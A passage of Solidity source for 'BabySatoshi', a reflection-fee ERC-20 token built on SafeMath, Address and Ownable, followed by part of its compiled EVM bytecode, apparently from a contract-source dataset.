* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BabySatoshi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Baby Satoshi Token';
string private _symbol = 'BABYSATOSHI';
uint8 private _decimals = 8;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b806323b872dd116100ff57806323b872dd1461028d5780632d83811914610311578063313ce5671461035357806339509351146103745780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806313114a9d1461025157806318160ddd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610935565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d7565b60405180821515815260200191505060405180910390f35b6102596109f5565b6040518082815260200191505060405180910390f35b6102776109ff565b6040518082815260200191505060405180910390f35b6102f9600480360360608110156102a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a10565b60405180821515815260200191505060405180910390f35b61033d6004803603602081101561032757600080fd5b8101908080359060200190929190505050610ae9565b6040518082815260200191505060405180910390f35b61035b610b6d565b604051808260ff16815260200191505060405180910390f35b6103c06004803603604081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b84565b60405180821515815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c37565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cf3565b6040518082815260200191505060405180910390f35b610486610dde565b005b610490610f64565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610f8d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102f565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110fc565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111a565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611170565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f7565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611511565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061171c565b005b60006107af611aa6565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806132dd602c913960400191505060405180910390fd5b600061085f83611aae565b5050505090506108b781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090f81600654611b0690919063ffffffff16565b60068190555061092a83600754611b5090919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b60006109eb6109e4611aa6565b8484611bd8565b6001905092915050565b6000600754905090565b600068056bc75e2d63100000905090565b6000610a1d848484611dcf565b610ade84610a29611aa6565b610ad98560405180606001604052806028815260200161324360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a8f611aa6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122289092919063ffffffff16565b611bd8565b600190509392505050565b6000600654821115610b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806131b0602a913960400191505060405180910390fd5b6000610b506122e8565b9050610b65818461231390919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2d610b91611aa6565b84610c288560036000610ba2611aa6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b611bd8565b6001905092915050565b600068056bc75e2d63100000831115610cb8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610cd7576000610cc884611aae565b50505050905080915050610ced565b6000610ce284611aae565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d8e57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dd9565b610dd6600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae9565b90505b919050565b610de6611aa6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110255780601f10610ffa57610100808354040283529160200191611025565b820191906000526020600020905b81548152906001019060200180831161100857829003601f168201915b5050505050905090565b60006110f261103c611aa6565b846110ed856040518060600160405280602581526020016133096025913960036000611066611aa6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122289092919063ffffffff16565b611bd8565b6001905092915050565b6000611110611109611aa6565b8484611dcf565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111ff611aa6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156114535761140f600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae9565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611519611aa6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131da6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611724611aa6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611aa2578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118d757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a955760056001600580549050038154811061193357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061196b57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a5b57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611aa2565b80806001019150506118a6565b5050565b600033905090565b6000806000806000806000611ac28861235d565b915091506000611ad06122e8565b90506000806000611ae28c86866123af565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611b4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612228565b905092915050565b600080828401905083811015611bce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132b96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ce4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132006022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c